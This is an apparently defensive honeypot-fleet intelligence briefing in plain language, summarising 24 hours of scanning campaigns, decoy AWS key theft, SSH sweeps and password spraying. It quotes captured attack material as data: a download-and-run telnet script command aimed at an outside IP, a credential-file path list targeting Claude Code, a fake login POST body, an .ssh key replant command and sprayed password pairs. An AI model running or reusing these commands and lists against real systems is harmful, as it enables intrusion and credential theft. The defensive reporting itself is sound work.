Switch back to the standard briefing

FLUX FLEET — INTEL BRIEFING №59 — PLAIN LANGUAGE

Period: 2026-10-21 07:33 – 2026-10-22 07:33 UTC (24h, day 57 of operations)
Technical version: /data/flux-logs/reports/flux-fleet-intel-briefing-2026-10-22.md

What happened (plain)

Three different stealing kits hit the honeypot fleet in the same 24 hours. The adminer kit came back with 49 computers in one address block plus 3 more in a new block, and both groups typed the same fake login form with a new 22-character password every time. The WebSiphon scanner ran on four fleet nodes it had never touched before, exactly 587 requests per computer. A new hunter, 87.192.41.180, asked all 8 sensors for ten different Claude Code credential files. The stolen-key pipeline went quiet: attackers took 54 decoy credentials but used none of them in Amazon Web Services — the first window with zero use since briefing №18 on 2026-09-12. And one request to netcup carried a full hacker command (a download-and-run telnet script) hidden inside the fields that normally say who sent the request.

What it means (plain)

  1. The adminer kits use the same playbook. The 49-IP pool and the new 3-IP block sent the identical login form — auth[username]=joomla_app with a fresh 22-character password per POST — to the same four sensors within minutes of each other. We captured the exact text of these attempts. That is 83 credential POSTs and 8 decoy keys taken. (High confidence — we have the captured text from both groups, same window, same sensors.)
  2. Attack tools spread between operators faster than new attackers appear. WebSiphon ran under four fresh Oracle-US addresses on four new nodes. The Claude Code file list leaked to two other collectors the same night. The LIBREDTAIL kit's honest-UA arm doubled its run size and added a first-time partner. We have not found shared infrastructure behind any of this yet. (Moderate confidence — the overlap is observed; the sharing mechanism is not.)
  3. Theft continues, spending stopped. 54 decoy credentials went to 26 collector addresses with zero use in AWS. The stockpiles grew: 45.148.10.171 collected in its 27th window in a row (34 keys in 6 days), 213.209.159.175 holds 28 in 6 days (8 this window), 37.60.226.187 holds 17 in 6 days (5 this window), and the 41-key AI-EXEC-HUNT hoard passed 72 hours untouched. (High confidence on the counts — Tracebit alert log. Moderate on the trend — keys used after our data pull would not show.)
  4. The hidden-command request is a first for this fleet, and it came from a low-end actor. At 08:07:31 UTC a netcup request carried cd /tmp;wget http://176.65.139.157/telnet2.sh -O telnet2.sh;chmod 777 telnet2.sh;/tmp/telnet2.sh; rm -rf telnet2.sh; history -c inside the clientIp, X-Forwarded-For, and user-agent fields of a plain GET /. The real connection came from 92.118.39.92, which has 67 logged events since 10-14 and scans for known product holes (Apache OFBiz, GeoServer, MikroTik). The trap answered with its tarpit. Whether this tested log tampering or was a botnet payload gone to the wrong place is an open question. (Moderate confidence — one injection event; the peer's history is verified.)

Campaigns (who / what / what it means)

CLAUDE-CRED-HUNT — a new hunter looking for Claude Code credential files — ⚠ NEW

  • Who: 87.192.41.180. It first appeared on 2026-10-17 asking for exactly one file, /.claude/.credentials.json, 70 times. This window it ran the full list. Fake Chrome/136 browser identity. Read-only: no decoy keys taken, no forms sent.
  • What they did: asked all 8 sensors for 10 paths — /.claude.json, /.claude/.credentials.json, /.claude/.env, /.claude/settings.json, /.claude/settings.local.json, plus /root/.claude/.credentials.json and the same file under /home/ubuntu, /home/admin, /home/debian, and /home/claude. That is 22 identical requests per sensor, 176 total. The file list leaked the same night: 213.209.159.175 asked for 4 of these paths on control-1, and 45.138.12.24 asked for 3 on netcup-ts.
  • What it means: they want the API keys and login tokens that the Claude Code tool stores on developer machines. Our sensors only hold decoys. The step from one file to the full list in five days shows someone is actively developing this tool.

ADMINER-SWARM — a distributed fake-database-login kit — ⟳ returned

  • Who: the 173.239.214.x block with 49 addresses (2,136 events on ai-devbox-1, control-1, ru-edge-1, canary-farm-1) plus a new 45.131.195.x block with 3 addresses (.68, .221, .225; 167 events on the same 4 sensors). Eleven different addresses sent fake logins on canary-farm-1.
  • What they did: first poked the adminer login pages, then sent credential forms — 68 from the pool, 15 from the new block. Sample body, quoted exactly: auth[driver]=server&auth[server]=&auth[username]=joomla_app&auth[password]=nzcOIczZ6Sw-2LUXAXChNw (from 45.131.195.68; .221 used QgL_kkitXCZe-m-id-dZOg, 173.239.214.122 used DhxVOgbWwYgaFGcnLCp6RQ; 173.239.214.103 used no-reply@app.internal as the username). They took 8 decoy keys (7 pool + 1 by 45.131.195.68).
  • What it means: many cheap computers, one shared login form, a fresh password on every try. The joomla_app form shape is the same one the INFOCREST/AKAMAI-CONFIG kits used, which links the blocks by behavior; one shared operator is still unproven. Farm's adminer-login spike (4.6×) and adminer-credential-post spike (4.5×) are entirely this group.

WEBSIPHON — a scanner that announces itself and hunts config files — ⟳ fifth generation, 4 new nodes

  • Who: four fresh Oracle-US addresses, each running exactly 587 events and 587 paths (down from 669 in №58): 147.224.212.88 (control-1, 17:19 UTC), 163.192.211.99 (lauterbourg-01-ts, 20:40), 163.192.109.234 (sponge-01-ts, 20:44), 147.224.133.69 (canary-farm-1, 22:08 — it took 1 decoy key at /.env, and had 1 key request fail on control). Honest user-agent WebSiphon/next-0.1. Fifteenth operator address over five windows.
  • What they did: the usual config-and-secret census, now with a source-code-archive section: /site.yml, /COPYING, /next.config.js, /repository.zip, /source.zip, /website.zip. This one run explains control-1's fake-git-error spike (290 of 314 events, 47× normal) and backup-archive-error spike (21, 21×), plus canary-farm-1's backup-archive spike (21, 6.1×).
  • What it means: the tool keeps its exact shape while reaching nodes it never touched — control-1 and the no-canary nodes are new targets this round. The file list swapped GPU-cloud paths for source-archive paths, which shows the operator is still editing it.

MEGA-DICTIONARY — a shared list of malware download addresses — ⟳ third tzulo host, +29 paths

  • Who: 23.234.116.20 (tzulo, Inc., US) — the third tzulo-hosted replay (№34 used .117.146, the №57–№58 heavy leg used .78.109). It sent 13,776 requests with 13,776 different paths to frantech-ts in about 2 minutes (05:54–05:55 UTC) — 96% of that node's whole window. It rotated through 208 fake IoT-router identities (ZyXEL Keenetic, Ubiquiti AirMax, Phicomm K2P, Xiaomi-Router, Seagate Personal Cloud and more).
  • What they did: replayed the shared dictionary. 13,747 of the 13,776 paths were already known — 29 are new: /bins/adb/akuma.* (15 architecture variants), /bins/kushnet.* (11 variants), /bins/watchdog, and 2 one-off UUID paths. No forms, no decoy keys.
  • What it means: the malware address list keeps passing between hosting operators and keeps growing — third growth in four windows (+66, +4, +29). Two brand-new malware families (akuma, kushnet) joined in one replay. If a second host fetches either family, the list has spread again.

LIBREDTAIL-KIT — a remote-code-execution kit via phpunit/php-cgi holes — ⟳ honest-UA arm escalated

  • Who: the honest-UA arm now has two runners: 103.46.186.148, which has run 56 events a day across 5 nodes since 09-16 and doubled to 98 events / 44 paths on 2 nodes, and a first-timer 45.137.194.154 at the same 98/44 size. The forged-UA cluster 7e61a9500d8b ran on 15 addresses / 735 events / 7 sensors.
  • What they did: the same chain as before — a command-injection probe on /bin/sh, then Apache CGI shell injection, then PHP-CGI remote code execution. The dropper payload still has not been captured — eleventh window.
  • What it means: two same-size runs on a schedule looks planned, not random. A captured shell_exec(base64_decode(...)) body or a run that adds a node would be the next escalation.

KEYDROP-SCANS — a banner scanner branded "onlyscans" — ⟳ returned

  • Who: a new pair, 172.239.10.144 + 172.233.224.159 — 8 events each across 4 sensors, between 12:01 and 20:39 UTC. The №55 pair did not come back.
  • What they did: the same 2-request walk on every sensor (/.env + /.git/config) under the identity Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);. They took 3 decoy keys (ru-edge-1, canary-farm-1, ai-devbox-1) and had 1 key request fail on control-1.
  • What it means: same economics as before — a decoy key from every canary sensor it touches. Third operator pair; watch for the walk volume to grow.

CONFIGBUNDLE-KIT — a config-file census kit shared across hosting providers — ⟳ no new runs

  • Who: no new operator legs. The only runs in this digest are the ones №58 already reported, which fall inside this window: 217.60.198.111 (629 events / 4 sensors / 6 decoy keys), 146.70.211.38 (600 / 3 sensors / 2 keys), 208.84.100.218 (36 / 3 sensors / 1 key).
  • What they did: nothing new this window. Their leftover events still make up chunks of ru-edge's webapp-config-bundle-js-error spike (20 of 60) and tomcat-path-bypass-env spike (5 of 20), and canary-farm-1's phpinfo-error spike (16 of 50).
  • What it means: the second window brought no new evidence on whether this is one shared kit or four separate buyers of the same tool. That question stays open.

REGISTRY-HUNT / LeakIX — the l9scan leak-scanning service — ⟳ borderline

GOWEB-PENTEST — a phpMyAdmin login-page hammer — ⟳ 23rd operator

  • Who: 193.194.91.148, first run on netcup-ts (23rd operator address for this tool).
  • What they did: 151 phpmyadmin-login GET requests on 1 path in about a minute, under the honest identity Go Web Pentest Tool. Together with l9explore's 3 events this is all of netcup-ts's phpmyadmin-login spike (154 events, 68.4× normal).
  • What it means: a common tool in a new hand on a new node. Across 23 operators, nobody has sent a captured credential body yet.

KITEWORKS-CRAWL — fingerprinting our Kiteworks decoy — ⟳ new operator

  • Who: 129.222.206.242, first ever — a fourth operator class for this decoy.
  • What they did: the registered walk on lauterbourg-01-ts: 46 Kiteworks JavaScript-bundle fetches, 8 login-page hits, 8 root redirects, 4 webshell probes — 222 events / 67 paths across lauterbourg, canary-farm-1, and ai-devbox-1, under fake Chrome/136 and Chrome/143 identities. No keys taken.
  • What it means: the Kiteworks decoy keeps identifying scanners at zero cost to us. A fourth operator class in as many windows says shared tooling indexes it.

BUCKLOG-KIT — a census kit with a dormant code-execution arm — ⟳

  • Who: census arm 185.177.72.69 on sponge-01-ts (269 events, the gravitysmtp-mock-data class) plus a light leg, 185.177.72.7 (38 events). Collector .64 and the code-execution arm stayed silent.
  • What they did: the same census shape; the arm moves one node per window (farm in №58, sponge now).
  • What it means: the address block keeps rotating jobs. A captured verify payload or a code-execution run on a second node would be the escalation signal.

CREDENTIAL-DRAIN — the steal-then-spend pipeline — ⟳ zero-use window

  • Who: 54 decoy credentials went to 26 collector addresses (70 digest issued rows). Nobody used any of them in AWS this window.
  • What they did: 48 key-mint requests failed, all with 400 Bad Request, spread across 31 collector addresses — that is the burst-pacing rejection, not a broken key. ru-edge-1 failed more key requests than it succeeded (11 vs 6).
  • What it means: first zero-use window since №18 (2026-09-12). The stockpiles keep growing anyway. Either the spending moved outside our pull window, or the buyers stopped. The next windows will tell.

Smaller watchers this window

  • 77.90.185.243 / .244 — second window, and they moved: after 2+2 decoy keys on ru-edge-1 in №58, they ran 124 of canary-farm-1's 152 env-production-error events (62 each) under fake MSIE 6/Opera 7 and Android MediaPad identities. 172 logged events each, all since 10-21. One more window or one more key promotes them to a campaign.
  • 93.152.209.6 (Omniline BG) — first ever on 10-22: 94 events / 94 paths / 40 trap families on canary-farm-1 under a fake Googlebot/2.1 identity (24 env-production, plus sql-dump, backup-archive, ssh-private-key-error, fake-git stages), 1 decoy key. Sibling 93.152.221.96 took 1 key on each of 3 sensors between 23:57 and 04:22 UTC.
  • 45.148.10.5 (CREDSWEEP family) — another daily runner (56 events a day since 09-16) that jumped to 224 events / 4 sensors with 12 modern fake identities, a fake-git-error stage on aidev and control, and 1 decoy key.
  • 213.209.159.154 (Feo Prest sibling) — a second census-grade run: 428 events / 4 sensors, 8 new .env directory variants (the netcup and sponge first-seen paths like /msks/.env and /micro-app-react/.env), 5 decoy keys.
  • 23.234.96.222 (tzulo) — second window: 44 events on ru-edge-1, 5 tomcat-path-bypass-env, 1 decoy key.
  • 151.243.18.111 (Dedik US) — second run (150 events on 10-08, now 300): a one-minute sweep of lauterbourg-01-ts under fake Googlebot/2.1, 150 paths, with 14 webshell-probe results — a webshell hunt. Volume doubled; watching.
  • 45.205.1.148 — 1 event on each of 4 sensors (13:33–13:48 UTC) under the new honest-looking identity AuthorizedProxySender/2.0. Borderline; reported.
  • 165.227.102.187 — identity Mozilla/5.0 (compatible; research), 1 decoy key on canary-farm-1. Calls itself research; decoy keys are still inventory. Borderline.
  • New multi-key collectors: 143.244.165.105 (DigitalOcean, bare Mozilla/5.0, 3 keys on farm), 72.167.41.202 (GoDaddy, axios/1.18.0, 3 keys on 3 sensors, on record since 09-04), 64.89.163.14 (3 keys on 3 sensors, rotating identities, on record since 09-16).
  • 176.65.149.73 — first-ever PHP-Inventory-Fingerprint/7.2 identity, 1 event on netcup-ts, same block as the standing light walkers .104/.106/.111.

Standing actors (who keeps coming back)

  • 45.148.10.171 — 27th window in a row taking decoy keys: 5 requests this window (farm ×2, aidev ×2, control), 34 keys in 6 days, old and fake browser identities. Our longest-running collector.
  • 213.209.159.175 (Feo Prest) — 8 decoy keys this window on control-1, 28 in 6 days, six-plus windows and counting.
  • 37.60.226.187 — 5 keys this window across farm/control/ru-edge under strange identities (Firefox/16, Android Cupcake, Konqueror on NetBSD, Opera 9 on PowerPC, CrOS 78), 17 in 6 days — the fastest-growing standing hoard.
  • Bochum softsec research crawler (185.73.23.161 finn + .162 goose + .168 winston) — tenth window, on our benign list: 6,422 of netcup-ts's 8,295 events (77%) and 5,691 of sponge-01-ts's 7,273 (78%).
  • TOKEN-CRAWLER pool 45.198.224.x — .124 (107 events) and .125 (73) touched all 8 sensors again, no keys.
  • Pfcloud block — the MALWARE-DICT loop (204.76.203.18) stayed idle; sibling 204.76.203.7 ran its light 6-sensor walk (25 events).
  • Benign fixed-schedule probers — 89.248.172.33 (387 events, 7 sensors), 80.82.77.202 (246, 7), 93.174.93.12 (225, 6), Censys-class 71.6.155.70 (8 sensors), visionheight 18.116.101.220 (3 sensors) + 45.139.104.34/.35 (osint-scanner/1.0, 4 sensors each), 45.77.61.56 (CyberConvoyScout, 4 sensors), 195.182.16.23, 85.11.167.243, 34.140.3.155 (8 sensors).
  • Techoff light walkers — 195.178.110.137 (7 sensors) and .247 (8 sensors) ran their shallow passes; the census runner .159 stayed away.

Not seen this window

AI-EXEC-HUNT (third window), SES-QUOTA-PROBE, METADATA-HUNT's named runners (sixth idle window), CVENGINE-KIT, CENSUS-284, WP-FORM-BRUTE, the 185.198.240.x adminer block, 85.155.14.16 (first absence after three escalating windows), 156.225.26.90 (no AWS events anywhere), CRUSADER-SWEEP, EMPERORS-KIT, XMLRPC-BRUTE, NIGHTAGENT, OMEGA-SWEEP, and the other long-idle names in the technical version.

Network sweeps (Arkime) — port-22 scans that never log in

This section watches SSH connection attempts at the network layer. These sweeps never request a web page, so the web traps above cannot see them — only Arkime (our traffic sensor) can. We identify them by their client fingerprint, never by source address, because the addresses rotate and the tool stays.

  • LIBSSH-MASSSWEEP (f555226df1963d1d3c09daf865abdc9a, banner ssh-2.0-libssh_0.9.6) — 6,821 sessions from 318 addresses across 174 networks in 60 countries, port 22. It held its dispersed shape (−73 addresses day-over-day). Top networks: UCLOUD HK, Microsoft, Tencent, DigitalOcean, Korea Telecom. Busiest sources: 202.165.14.135, 152.32.229.251, 92.27.101.99, 103.154.62.14, 211.254.212.59. Daily address counts: 10-16: 281, 10-17: 257, 10-18: 324, 10-19: 418, 10-20: 402, 10-21: 327, 10-22: 85.
  • GO-SPRAY-SWEEP (06ff3615a51b2af343ec22abc8e30bbc, banner ssh-2.0-go) — back above the sweep threshold after yesterday's 5-address miss: 2,544 sessions from 69 addresses across 53 networks in 26 countries. Top networks: SK Broadband, China Telecom, Shenzhen Tencent, Chinanet, Rostelecom. Busiest sources: 14.103.39.152, 222.188.111.58, 124.222.60.152, 83.48.125.229, 188.128.63.114. Daily counts: 10-15: 39, 10-19: 165, 10-20: 8, 10-21: 70. Its on-and-off rhythm is now three cycles old.
  • GO-SSH-SWEEP (0a07365cc01fa9fc82608ba4019af499) — intensified: 30,315 sessions (+4,230) from 38 addresses (−4), single-source shape. Fewer computers, more connections each.
  • GO-SCATTER-SWEEP (16443846184eafde36765c9bab2f4397) — stayed single-source: 31 addresses / 21 networks / 17 countries / 12,277 sessions (−3,374).
  • Smaller standing fingerprints: 03a80b21afa810682a776a7d42e5e6fb (486 sessions / 27 addresses), dd9bcf093c355da7000132131cb36fd0 (28 / 27, one network), 084386fa7ae5039bcf6f07298a05a227 (30 / 26), a591c4ddccc960a2da8099958270fc92 (253 / 23). Total inbound: 135,469 sessions on the 8 fleet addresses.
  • sensor:lauterbourg-01-ts appeared as a session tag this window (23,118 sessions) — the new node's sensor labeling reached Arkime. The stale bahrain-sponge-01-ts and contabo-sponge-01-ts tags remain (an ops fix, not a briefing action).

Canaries (minted and used) — the decoy-key pipeline

Canary keys are fake AWS credentials. When an attacker takes one, we mint it on the spot and watch what they do with it.

This window was a zero-use window: sensors handed out 54 decoy credentials to 26 collector addresses, and nobody used any of them in AWS. The digest counted 70 issued rows before dedupe.

Who took keys, how many, and their history (all took zero to AWS):

  • 213.209.159.175 — 6 on control-1 — 28 mints since 2026-10-16 09:07
  • 37.60.226.187 — 4 on canary-farm-1 (plus 2 on control-1, 1 on ru-edge-1) — 17 mints since 2026-10-20 02:15
  • 143.244.165.105 — 3 on canary-farm-1 — 3 mints since 2026-10-21 18:02
  • 173.239.214.92 — 2 on canary-farm-1 — 2 mints since 2026-10-21 11:22 (part of the adminer pool's 7)
  • 213.209.159.154 — 2 on canary-farm-1 + 2 on control-1 — 10 mints since 2026-10-15 09:15
  • 45.148.10.171 — 2 on ai-devbox-1, 2 on canary-farm-1, 1 on control-1 — 34 mints since 2026-10-15 04:54
  • 64.89.163.14 — 2 on canary-farm-1, 1 on control-1 — 4 mints since 2026-10-17 22:50
  • 104.251.180.112 — 1 on control-1 — 4 mints since 2026-10-17 14:48
  • 128.14.224.214 — 1 on ai-devbox-1 — first mint 2026-10-22 00:44
  • 128.199.182.55 — 1 on ru-edge-1 — 2 mints since 2026-10-17 03:52 (LeakIX l9scan)
  • 147.224.133.69 — 1 on canary-farm-1 — first mint 2026-10-21 18:08 (WebSiphon)
  • 165.227.102.187 — 1 on canary-farm-1 — first mint 2026-10-21 16:37
  • 172.233.224.159 — 1 on ai-devbox-1 — first mint 2026-10-21 16:39 (KEYDROP-SCANS)
  • 172.239.10.144 — 1 on canary-farm-1, 1 on ru-edge-1 — 2 mints since 2026-10-21 10:12 (KEYDROP-SCANS)
  • 173.239.214.100, .105, .122 — 1 each on ai-devbox-1 — first mints 2026-10-21 11:19–11:22 (adminer pool)
  • 173.239.214.99 — 1 on control-1 — first mint 2026-10-21 11:39 (adminer pool)
  • 206.81.24.74 — 1 on control-1 — 3 mints since 2026-10-16 20:03 (LeakIX l9scan)
  • 23.234.96.222 — 1 on ru-edge-1 — first mint 2026-10-21 08:01
  • 45.138.12.51 — 1 on control-1 — 7 mints since 2026-10-16 01:31 (l9explore)
  • 45.148.10.5 — 1 on canary-farm-1 — first mint 2026-10-22 00:28
  • 72.167.41.202 — 1 each on canary-farm-1, control-1, ru-edge-1 — 3 mints since 2026-10-21 17:47
  • 80.94.92.65 — 1 on control-1 — 7 mints since 2026-10-16 07:17
  • 93.152.209.6 — 1 on canary-farm-1 — first mint 2026-10-22 02:01
  • 93.152.221.96 — 1 each on ai-devbox-1, canary-farm-1, control-1 — 3 mints since 2026-10-21 23:57

Larger stockpiles with no AWS use seen (theft dates from the Tracebit 6-day history): 34.58.160.181 holds 41 (taken 2026-10-19), 45.148.10.171 holds 34 (2026-10-15 04:54 → 2026-10-22 00:53), 213.209.159.175 holds 28 (2026-10-16 09:07 → 2026-10-22 05:08), 37.60.226.187 holds 17 (2026-10-20 02:15 → 2026-10-21 21:45), 213.209.159.154 holds 10 (2026-10-15 09:15 → 2026-10-22 01:43), 80.94.92.126 holds 9 (2026-10-17 10:09 → 2026-10-20 10:36), 140.245.97.208 holds 7 (2026-10-16 16:38 → 2026-10-21 05:57), 45.138.12.51 holds 7 (2026-10-16 01:31 → 2026-10-22 02:04), 80.94.92.65 holds 7 (2026-10-16 07:17 → 2026-10-21 09:39), 217.60.198.111 holds 6 (2026-10-21 03:45 → 03:54), 23.234.78.109 holds 6 (2026-10-17 20:53 → 2026-10-20 14:00), and 25 more addresses hold 3–4 each (full list in the technical version).

Key requests that failed: 48, all 400 Bad Request — the rate-limit class, spread across 31 collector addresses, no broken keys. The buyers were mostly census operators this window (the adminer pool took 8, KEYDROP 3, WebSiphon 1, the CREDSWEEP-family runner 1). Last window's only spender, 156.225.26.90, did nothing in AWS this window.

How the fleet behaved (Fleet Observations) — the fleet's own numbers

  • Decoy-key economics. 70 issued rows on the 4 canary sensors: canary-farm-1 28, control-1 23, ai-devbox-1 13, ru-edge-1 6. After dedupe: 54 credentials to 26 collectors, 0 used. All-time issued-row count: 2,766.
  • The hidden-command request. The one XFF mismatch this window is the netcup event described above: every identity field said what the attacker typed; only the socket peer (92.118.39.92) was real. That is exactly the case this counter was built for.
  • TLS traffic. lauterbourg-01-ts logged its first measured HTTPS traffic: 240 events against 1,603 over plain HTTP. ai-devbox-1: 472 HTTPS / 1,471 HTTP. canary-farm-1: 726 / 2,877.
  • control-1's discovery ramp. Day 39 since its first event (2026-09-12 07:59 UTC): 2,173 events from 178 unique addresses — a node record for unique addresses (old record 167). The record comes from the adminer pool's 49 addresses plus WebSiphon and friends arriving together, not from a discovery wave; total events stayed in the normal band.
  • Why the big numbers moved. canary-farm-1 +71% (3,603): the adminer farm leg (11 posting addresses), WebSiphon's 587, the 77.90.185.x pair (124), CONFIGBUNDLE leftovers. netcup-ts +45% (8,295): the benign Bochum crawler at 6,422 (77%) plus GOWEB's 151. lauterbourg-01-ts +45% (1,843): WebSiphon 587, 151.243.18.111's 300, the new Kiteworks operator. sponge-01-ts +20% (7,273): Bochum 5,691 (78%), WebSiphon 587, BUCKLOG 269. ru-edge-1 +27% (1,501): the adminer quad, the KEYDROP pair, CONFIGBUNDLE overlap. control-1 −41% (2,173): №58's big census legs did not repeat. ai-devbox-1 −4%. frantech-ts −1% — the node is one dictionary replay with a small fringe.
  • Every spike has a cause. aidev fake-git-error 24 = 45.148.10.5. farm adminer-credential-post 42 + adminer-login 43 = the adminer pool. farm backup-archive 27 = WebSiphon (21) + Feo Prest singles. farm env-production-error 152 = 77.90.185.x (124) + 146.70.211.38 (22). farm phpinfo-error 50 = CONFIGBUNDLE (32 across three actors) + swarm singles. control backup-archive-error 21 = WebSiphon (21). control fake-git-error 314 = WebSiphon (290) + 45.148.10.5 (~15). netcup phpmyadmin-login 154 = GOWEB (151) + l9explore (3). ru-edge phpinfo-error 25, tomcat-path-bypass-env 20, webapp-config-bundle-js-error 60 = CONFIGBUNDLE + the adminer pool, split as listed in the technical version.
  • Digest quirks. First-seen timestamps all read 03:15:52 — that is the log-sync arrival time, not when things happened. "First-seen" means not in the prior 7-day baseline; PHP-Inventory-Fingerprint/7.2 really is brand new (1 event, 176.65.149.73). The digest split the Claude walk into two signatures because the no-canary nodes and canary nodes answer differently — one tool, not two.
  • Fleet-side changes this cycle. We added CLAUDE-CRED-HUNT to the dashboard's campaign list, moved ADMINER-SWARM, KEYDROP-SCANS, and KITEWORKS-CRAWL back to active, and refreshed the notes for WEBSIPHON, CONFIGBUNDLE-KIT, LIBREDTAIL-KIT, MEGA-DICT, BUCKLOG-KIT, GOWEB-PENTEST, and CREDENTIAL-DRAIN. No new network-layer fingerprints, so the fingerprint name list is unchanged. The visuals dashboard is at /data/flux-logs/reports/flux-fleet-visuals-2026-10-22.html.

SSH/telnet honeypot (frantech-ts — one host, not fleet-wide)

This is one host running separate SSH (port 2222) and telnet (port 2323) honeypots. Its numbers never count as fleet totals.

  • The funnel: 361 addresses tried passwords → 253 got a shell (70%) → 192 ran a command (76% of shell-getters, 53% of all addresses). In raw events: 9,027 password tries → 4,038 accepted logins → 7,097 commands (176% of accepted logins go on to run something — operators loop). Telnet (IoT botnets): 1,099 tries.
  • No new commands. 0 of the 47 distinct commands were new this window — the 32nd static window. The regulars: a uname -s -v -n -r -m + uname -m | awk hardware survey, 1,288 events each, from 109.160.32.152 and one sibling — the same address range GO-SSH-SWEEP draws from; the .ssh replant pair (cd ~; chattr -ia .ssh; lockr -ia .ssh — 980 events / 170 addresses; a key-replace chain — 858 / 160 addresses); and an nvidia-smi GPU survey, 281 events from 3 addresses led by 45.148.10.61 (the survey moved from Techoff's .217 to a 45.148.10.x operator).
  • Passwords tried: 3,577 distinct pairs, 0 new. The fixed-pair sprayer family continues: 345gs5662d34/345gs5662d34 led with 959 tries, root/3245gs5662d34 had 610, with admin/ubuntu/user variants of 3245gs5662d34 behind (61/54/35).

Open questions

  1. Where does the Claude Code hunter go next? 87.192.41.180 moved from one file (70 tries on 10-17) to a ten-file walk on all 8 sensors. Will a second operator pick up the list? Will keys from Claude Code stores show up in AWS or Anthropic logs? Two other collectors already carry the file list.
  2. Will the adminer swarm's 8 new keys get used? The pool took decoy keys on all 4 sensors with captured joomla_app forms. We watch Tracebit for AWS alerts, and we still need one more shared artifact to prove the two blocks are one crew.
  3. Does the hidden-command actor come back? We pivot on the real connection address 92.118.39.92 (67 events since 10-14) and the download host 176.65.139.157. One repeat with a second payload in the identity fields turns this into a named campaign. We do not yet know whether it was a test of log tampering or a botnet payload sent to the wrong place.
  4. Will WebSiphon's canary key from canary-farm-1 get used? 147.224.133.69 took one at 22:08 UTC. The №55 generation's keys were worked in AWS within the same window.
  5. Do 77.90.185.x get promoted? Second window, new node, 124 census events. One more window or one more key and they become a campaign.
  6. Did credential spending really stop, or did it move? The big stockpiles sit untouched: 41 keys at +72 hours, 34 keys across 27 windows. We need a Tracebit pull past the 6-day history to see whether use happens after our data window closes.
  7. The Arkime tag labels bahrain-sponge-01-ts / contabo-sponge-01-ts / ru-vps-01-ts still drift from their nodes' addresses; sensor:lauterbourg-01-ts now works. That is an ops-repo fix, not a briefing action.

Plain language version of: flux-fleet-intel-briefing-2026-10-22.md